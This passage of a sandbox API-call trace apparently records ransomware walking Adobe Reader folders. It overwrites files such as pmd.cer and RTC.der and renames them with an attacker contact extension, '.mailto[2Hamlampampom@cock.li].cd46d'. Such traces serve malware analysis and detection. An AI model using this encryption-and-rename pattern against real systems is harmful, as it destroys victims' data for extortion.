cAlternateFileName="")) returned 1 [0065.381] wcscmp (_String1="drvDX9.x3d", _String2=".") returned 1 [0065.381] wcscmp (_String1="drvDX9.x3d", _String2="..") returned 1 [0065.382] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8c) returned 0x97cd140 [0065.382] wcscpy (in: _Dest=0x97cd140, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.382] wcscat (in: _Dest=0x97cd140, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.382] wcscat (in: _Dest=0x97cd140, _Source="drvDX9.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX9.x3d" [0065.382] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cd140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148c [0065.383] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x35190, dwReserved0=0x0, dwReserved1=0x0, cFileName="drvSOFT.x3d", cAlternateFileName="")) returned 1 [0065.383] wcscmp (_String1="drvSOFT.x3d", _String2=".") returned 1 [0065.383] wcscmp (_String1="drvSOFT.x3d", _String2="..") returned 1 [0065.383] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x8e) returned 0x97cc4c8 [0065.383] wcscpy (in: _Dest=0x97cc4c8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.383] wcscat (in: _Dest=0x97cc4c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.383] wcscat (in: _Dest=0x97cc4c8, _Source="drvSOFT.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvSOFT.x3d" [0065.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x97cc4c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1490 [0065.384] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7dbbfec0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7dbbfec0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="prc", cAlternateFileName="")) returned 1 [0065.384] wcscmp (_String1="prc", _String2=".") returned 1 [0065.384] wcscmp (_String1="prc", _String2="..") returned 1 [0065.384] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x7e) returned 0x447980 [0065.384] wcscpy (in: _Dest=0x447980, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.384] wcscat (in: _Dest=0x447980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.384] wcscat (in: _Dest=0x447980, _Source="prc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc" [0065.384] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x447980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1494 [0065.385] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dc58440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x301190, dwReserved0=0x0, dwReserved1=0x0, cFileName="prcr.x3d", cAlternateFileName="")) returned 1 [0065.385] wcscmp (_String1="prcr.x3d", _String2=".") returned 1 [0065.385] wcscmp (_String1="prcr.x3d", _String2="..") returned 1 [0065.385] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x12e29c58 [0065.385] wcscpy (in: _Dest=0x12e29c58, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.385] wcscat (in: _Dest=0x12e29c58, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.385] wcscat (in: _Dest=0x12e29c58, _Source="prcr.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prcr.x3d" [0065.385] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12e29c58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1498 [0065.386] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 1 [0065.386] wcscmp (_String1="tesselate.x3d", _String2=".") returned 1 [0065.386] wcscmp (_String1="tesselate.x3d", _String2="..") returned 1 [0065.387] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x92) returned 0x5ec5cc8 [0065.387] wcscpy (in: _Dest=0x5ec5cc8, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d" [0065.387] wcscat (in: _Dest=0x5ec5cc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\" [0065.387] wcscat (in: _Dest=0x5ec5cc8, _Source="tesselate.x3d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\tesselate.x3d" [0065.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x5ec5cc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x149c [0065.388] FindNextFileW (in: hFindFile=0x40a328, lpFindFileData=0x4b7728 | out: lpFindFileData=0x4b7728*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5798, dwReserved0=0x0, dwReserved1=0x0, cFileName="tesselate.x3d", cAlternateFileName="TESSEL~1.X3D")) returned 0 [0065.388] FindClose (hFindFile=0x40a328) Thread: id = 579 os_tid = 0xbb4 [0049.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer")) returned 0x20 [0058.835] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer", dwFileAttributes=0x20) returned 1 [0058.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\pmd.cer"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1124 [0058.835] GetFileSizeEx (in: hFile=0x1124, lpFileSize=0xe26fd80 | out: lpFileSize=0xe26fd80*=420) returned 1 [0058.835] SetFilePointerEx (in: hFile=0x1124, liDistanceToMove=0x1a0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.836] ReadFile (in: hFile=0x1124, lpBuffer=0xe26fd04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xe26fd00, lpOverlapped=0x0 | out: lpBuffer=0xe26fd04*, lpNumberOfBytesRead=0xe26fd00*=0x4, lpOverlapped=0x0) returned 1 [0058.837] SetFilePointerEx (in: hFile=0x1124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9530 [0058.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e95f8 [0058.837] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9508 [0058.837] NtQuerySystemTime (in: CurrentTime=0xe26fce0 | out: CurrentTime=0xe26fce0*=132174898228200000) returned 0x0 [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x4dfaac5f [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x2e19d8ed [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x2c6d616d [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x6c2c9f21 [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x60014db4 [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x45fe10b [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x384d6145 [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x40376206 [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x70e8b01f [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x52c5560e [0058.837] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x4ad86f6c [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x16b55299 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x2a43d16c [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x427acfce [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x642c34fb [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x27c2c96a [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0xcac7992 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x39323e54 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x63f4053a [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x5824b19e [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x36799905 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0xd6a261 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x6d3d47cc [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0xa49e0e4 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x4c633b8d [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x242327eb [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x7d714d3 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x7089f4a6 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x5286ee88 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x75873138 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x3a6f5260 [0058.838] RtlRandomEx (in: Seed=0xe26fcec | out: Seed=0xe26fcec) returned 0x1c7abed2 [0058.849] ReadFile (in: hFile=0x1124, lpBuffer=0x968c690, nNumberOfBytesToRead=0x1a4, lpNumberOfBytesRead=0xe26fcdc, lpOverlapped=0x0 | out: lpBuffer=0x968c690*, lpNumberOfBytesRead=0xe26fcdc*=0x1a4, lpOverlapped=0x0) returned 1 [0058.849] SetFilePointerEx (in: hFile=0x1124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.849] WriteFile (in: hFile=0x1124, lpBuffer=0x9698e98*, nNumberOfBytesToWrite=0x1a4, lpNumberOfBytesWritten=0xe26fcd8, lpOverlapped=0x0 | out: lpBuffer=0x9698e98*, lpNumberOfBytesWritten=0xe26fcd8*=0x1a4, lpOverlapped=0x0) returned 1 [0060.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4363b8 [0060.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436430 [0060.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436430) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9698e98) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x968c690) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437418) returned 1 [0060.778] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c090) returned 1 [0060.778] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x436430 [0060.778] SetFilePointerEx (in: hFile=0x1124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.778] WriteFile (in: hFile=0x1124, lpBuffer=0x12f4b4e0*, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0xe26fd40, lpOverlapped=0x0 | out: lpBuffer=0x12f4b4e0*, lpNumberOfBytesWritten=0xe26fd40*=0xff, lpOverlapped=0x0) returned 1 [0062.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b4e0) returned 1 [0062.728] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436458) returned 1 [0062.729] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436480) returned 1 [0062.729] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436430) returned 1 [0062.729] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4363b8) returned 1 [0062.729] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e95f8) returned 1 [0062.729] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e94b8) returned 1 [0062.729] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4e9490) returned 1 [0062.729] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xb8) returned 0x5e02060 [0062.729] wcscpy (in: _Dest=0x5e02060, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer" [0062.729] wcscat (in: _Dest=0x5e02060, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.mailto[2Hamlampampom@cock.li].cd46d" [0062.729] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xe26fcf8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\pmd.cer.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0062.729] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xce) returned 0x40db20 [0063.045] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40db20) returned 1 [0063.045] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48f798) returned 1 [0063.045] NtQueryInformationFile (in: FileHandle=0x1124, IoStatusBlock=0xe26fd04, FileInformation=0xe26fcdc, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xe26fd04, FileInformation=0xe26fcdc) returned 0x0 [0063.045] NtSetInformationFile (FileHandle=0x1124, IoStatusBlock=0xe26fd04, FileInformation=0xe26fcdc, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.048] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02060) returned 1 [0063.048] FlushFileBuffers (hFile=0x1124) returned 1 [0066.200] CloseHandle (hObject=0x1124) Thread: id = 580 os_tid = 0xbb8 [0049.888] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der")) returned 0x20 [0058.903] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der", dwFileAttributes=0x20) returned 1 [0058.903] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\RTC.der" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\rtc.der"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1140 [0058.904] GetFileSizeEx (in: hFile=0x1140, lpFileSize=0xbacf874 | out: lpFileSize=0xbacf874*=1098) returned 1 [0058.904] SetFilePointerEx (in: hFile=0x1140, liDistanceToMove=0x446, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.904] ReadFile (in: hFile=0x1140, lpBuffer=0xbacf7f8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xbacf7f4, lpOverlapped=0x0 | out: lpBuffer=0xbacf7f8*, lpNumberOfBytesRead=0xbacf7f4*=0x4, lpOverlapped=0x0) returned 1 [0058.909] SetFilePointerEx (in: hFile=0x1140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e93f0 [0058.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9288 [0058.909] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9378 [0058.909] NtQuerySystemTime (in: CurrentTime=0xbacf7d4 | out: CurrentTime=0xbacf7d4*=132174898228824000) returned 0x0 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x71e5aed9 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x68796ad1 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x3d061dd3 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x2ff9eaf4 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x33775ac6 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0xf712074 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x483668ec [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x221f0d40 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x3591e6e5 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x6958de93 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x4b5d205c [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x58dda00c [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x6cd73e34 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x6a0bb799 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x1a8c7f40 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x5d2ed03b [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x7511605d [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x4b5b064b [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x2704cc26 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x51a38b3b [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x5d4dab48 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x772c92b8 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x584798f6 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x958d5f3 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x82cee4f [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x3d7c8dd9 [0058.909] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x4edb99ac [0058.910] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x390f7d59 [0058.910] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x22078c20 [0058.910] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x13ae347d [0058.910] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0x36d462ac [0058.910] RtlRandomEx (in: Seed=0xbacf7e0 | out: Seed=0xbacf7e0) returned 0xaf4c625 [0058.921] ReadFile (in: hFile=0x1140, lpBuffer=0x96d76c0, nNumberOfBytesToRead=0x44a, lpNumberOfBytesRead=0xbacf7d0, lpOverlapped=0x0 | out: lpBuffer=0x96d76c0*, lpNumberOfBytesRead=0xbacf7d0*=0x44a, lpOverlapped=0x0) returned 1 [0058.922] SetFilePointerEx (in: hFile=0x1140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.922] WriteFile (in: hFile=0x1140, lpBuffer=0x196d0990*, nNumberOfBytesToWrite=0x44a, lpNumberOfBytesWritten=0xbacf7cc, lpOverlapped=0x0 | out: lpBuffer=0x196d0990*, lpNumberOfBytesWritten=0xbacf7cc*=0x44a, lpOverlapped=0x0) returned 1 [0066.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x429278 [0066.004] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4292a0 [0066.004] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4292a0) returned 1 [0066.004] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x196d0990) returned 1 [0066.004] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96d76c0) returned 1 [0066.004] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437328) returned 1 [0066.005] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c048) returned 1 [0066.005] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x1b) returned 0x4292a0 [0066.005] SetFilePointerEx (in: hFile=0x1140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.005] WriteFile (hFile=0x1140, lpBuffer=0x12f4b4e0, nNumberOfBytesToWrite=0xff, lpNumberOfBytesWritten=0xbacf834, lpOverlapped=0x0) Thread: id = 581 os_tid = 0x93c [0049.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x76) returned 0x45f138 [0049.888] wcscpy (in: _Dest=0x45f138, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0049.888] wcscat (in: _Dest=0x45f138, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0049.888] wcscat (in: _Dest=0x45f138, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*" [0049.888] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4b7990 [0049.889] FindFirstFileW (in: lpFileName="C:\\Program 